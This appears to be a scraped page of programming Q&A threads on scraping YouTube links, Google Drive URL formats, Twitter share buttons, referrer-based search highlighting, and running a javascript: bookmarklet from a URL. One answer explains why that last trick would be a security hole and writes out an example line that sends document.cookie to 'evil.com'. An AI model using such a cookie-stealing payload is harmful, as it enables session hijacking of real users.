Find youtube links on other pages - hyperlink

I want to create a php page, that finds things on other sites.
Well, lets give an example to make you understand. Lets say there is a website called "anwebsite.com" and it have an page called "anwebsite.com/page.php"
I want to create a php script that find in that link if there are any youtube links (from embed for example) in his source, and get it.
Example:
$thesitelink = ("http://anwebsite.com/page.php") ( Lets say I put the link mannualy in the php page)
Then, here should be some scrips to find if on that page are any youtube links. If there is at least on, it doesn't matter if there are many, its enought at least one then put the link in a varialbe like $theyoutubelink. Like this:
$theyoutubelink = http://www.youtube.com/watch?v=xxxxxxxx
So the input data is $thesitelink and the output should be an youtube link (if there is one on that page)

What you need is a spider/crawler + parser.
First things first:
- Use CURL to get all the source html from the website crawled.
- Use Regular Expressions to parse Youtube links (don't forget short url ones)
Do you have any code made already?

Related

What is the difference between "open?id=" and "spreadsheets/d/" / "drive/folders/" in Google Drive?

I don't actually have a problem, but I am very curious, why sharing URLs are different in "Get Shareable Link" and "Share..." buttons.
For example, I want to share one folder.
When I get URL from "Get Shareable Link", I get this:
https://drive.google.com/open?id=1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l
but, if I get URL from "Share...", I get this:
https://drive.google.com/drive/folders/1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l?usp=sharing
Well, I know some things about the URL in the second link: The usp= must be source parameter, that where the link came from, and yes, this is sharing. It came from sharing ("Share..."). And also there are may other parameters:
usp=drive_web
usp=direct_url
Google Drive Links URL format and query parameters
And there are also parameters before usp=: "edit, view: these parameters tell the browser the priority that which type of access to go into if this access type is accessible. So, if the link has "edit" parameter but the user don't have permission to edit the file/folder, then automaticlly it will be redirected into "view" permission mode.
https://learninginhand.com/blog/google-document-url-tricks
Well, these are king of understandable, but my question is this:
Why these two links have different starting?
https://drive.google.com/open?id=1Tgz6......
https://drive.google.com/drive/folders/1Tgz6......
I know that this is file/folder ID: 1Tgz6ltC4WKmgbrRYNhd3r0hAjS7C_K2l, but what is the point of these differences in these links?
why the first one has open?id= and the second one has drive/folders/, why? Which one is better to use in which situations? If both are fine in any situation, then why are they two? What is the point of it? You know, I get the point of URL ending parameters (usp= and stuff), but I don't get the point of different URLs which work kinda absolutely the same way: to share/get file/folder.
There is also another example:
https://drive.google.com/open?id=1vY7tQaNt3Vnkaxy-5Lbn1ImOfTiTC5bPk8mRZLqBOsE
https://docs.google.com/spreadsheets/d/1vY7tQaNt3Vnkaxy-5Lbn1ImOfTiTC5bPk8mRZLqBOsE
What's the point of these two guys:
open?id=
spreadsheets/d/
Don't they just do the same thing: to build the URL? So, why the same folder/file is represented by two different URLs? Why there is not just one URL (of course with ending parameters: usp= and stuff. the ending parameters are quick understandable).

Programmatically search Youtube videos and return the first available one on a web page

Good day!
Let's say I have a web page dedicated to a specific song by a specific author (eg "Imagine" by "John Lennon"). I would like to programmatically:
Search Youtube for the first n videos with "Imagine John Lennon"
Loop through these results to find a video which is available in the country where the user is located
Display the first video that matches the constraints on point 2. If no video matches them, then I won't display any video.
How can I do this? Is it better to do it with PHP or Ajax calls? I already checked some similar questions (1, 2) but as they are "old" I was wondering if there is a better method now.
Thanks for any help
This can be done with a single call to the Search: list endpoint, setting the 'q' and 'regionCode' parameters. Use any programming language you prefer.

Combine URL and a javascript bookmarklet together

I need to access some data in someone's site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.
foo() is like:
function foo(param){
createXXXCookie('COOKIE_NAME', param, 60);
window.location.href="/current/location";
}
So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.
I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:... part and just proceed the first part of URL.
This is not possible.
Had it been possible, it would be a deadly security hole.
Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.

twitter: share link with parameters

I have a share button on my site.
But I need to share link with parameters, and each time parameters will be different (I need to track user who is sharing, etc.)
For example need to share link like http://mySite.com/page?userId=111&someParam=222
I can share this well, but how can I force count to work correct?
if I set
data-url="http://mySite.com/page?userId=111&someParam=222"
data-counturl="http://mySite.com/page/"
I am getting count 0 always. How to get this work?
From http://dev.twitter.com/pages/tweet_button,
"The count box shows how many times the URL has been Tweeted."
Your problem is you simply have the url and counturl mixed up. Change url to the short one, for display purposes - that's the one people will see. Use the counturl for the one with all the parameters, to ensure they go to the right place with the parameters intact.
I suspect the reason your count kept showing zero tweets is because you have a different (unique) url as your primary url each time it is tweeted, so each tweet is the first time that url (including its parameters) was shared.
Twitter now lets you send the url through data attributes. This works perfectly for me and should work for you out of the box!
The button (check out data-url):
Tweet
The twitter javascript snippet (from https://dev.twitter.com/docs/tweet-button)
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>

How does a website highlight search terms you used in the search engine?

I've seen some websites highlight the search engine keywords you used, to reach the page. (such as the keywords you typed in the Google search listing)
How does it know what keywords you typed in the search engine? Does it examine the referrer HTTP header or something? Any available scripts that can do this? It might be server-side or JavaScript, I'm not sure.
This can be done either server-side or client-side. The search keywords are determined by looking at the HTTP Referer (sic) header. In JavaScript you can look at document.referrer.
Once you have the referrer, you check to see if it's a search engine results page you know about, and then parse out the search terms.
For example, Google's search results have URLs that look like this:
http://www.google.com/search?hl=en&q=programming+questions
The q query parameter is the search query, so you'd want to pull that out and un-URL-escape it, resulting in:
programming questions
Then you can search for the terms on your page and highlight them as necessary. If you're doing this server side-you'd modify the HTML before sending it to the client. If you're doing it client-side you'd manipulate the DOM.
There are existing libraries that can do this for you, like this one.
Realizing this is probably too late to make any difference...
Please, I beg you -- find out how to accomplish this and then never do it. As a web user, I find it intensely annoying (and distracting) when I come across a site that does this automatically. Most of the time it just ends up highlighting every other word on the page. If I need assistance finding a certain word within a page, my browser has a much more appropriate "find" function built right in, which I can use or not use at will, rather than having to reload the whole page to get it to go away when I don't want it (which is the vast majority of the time).
Basically, you...
Examine document.referrer.
Have a list of domains to GET param that contains the search terms.
var searchEnginesToGetParam = {
'google.com' : 'q',
'bing.com' : 'q'
}
Extract the appropriate GET param, and decodeURIComponent() it.
Parse the text nodes where you want to highlight the terms (see Replacing text with JavaScript).
You're done!

Resources